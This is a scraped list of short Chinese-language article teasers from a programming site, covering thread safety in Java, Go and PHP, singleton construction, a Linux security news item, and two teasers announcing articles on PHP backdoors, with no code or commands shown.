- 在编译器未优化的情况下顺序如下:1.new operator分配适当的内存;2.在分配的内存上构造Singleton对象;3.内存地址赋值给_instance...2020-04-25
- 这篇文章主要介绍了关于PHP后门隐藏的一些技巧,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-11-04
- 在本篇文章里小编给大家整理的是一篇关于java中stringbuffer线程安全分析实例详解内容,有兴趣的朋友们可以学习下。...2021-01-18
- 说起php后门木马我就心有愉季啊,前不久一个站就因不小心给人注入了,然后写入了小木马,这样结果大家知道的我就不说了,下面我来给大家收集了各种php后门木马做法,大家可参考...2016-11-25
Go语言中使用 buffered channel 实现线程安全的 pool
这篇文章主要介绍了Go语言中使用 buffered channel 实现线程安全的 pool,因为Go语言自带的sync.Pool并不是很好用,所以自己实现了一线程安全的 pool,需要的朋友可以参考下...2020-05-01- 10月25日消息,Linux厂商又受到两种新安全病毒的攻击,一系列图形解码器及Gaim即时通信客户机都受到影响。 另据最大的Linux开发商红帽公司称,黑客已经开...2016-09-20
- 我在在php管方下载php版时会看到有一个,None-Thread Safe与Thread Safe版了,那么这两个版本到底有什么区别,但仔细一下看面有介绍是建义我们使用线程安全,而非线程序安全...2016-11-25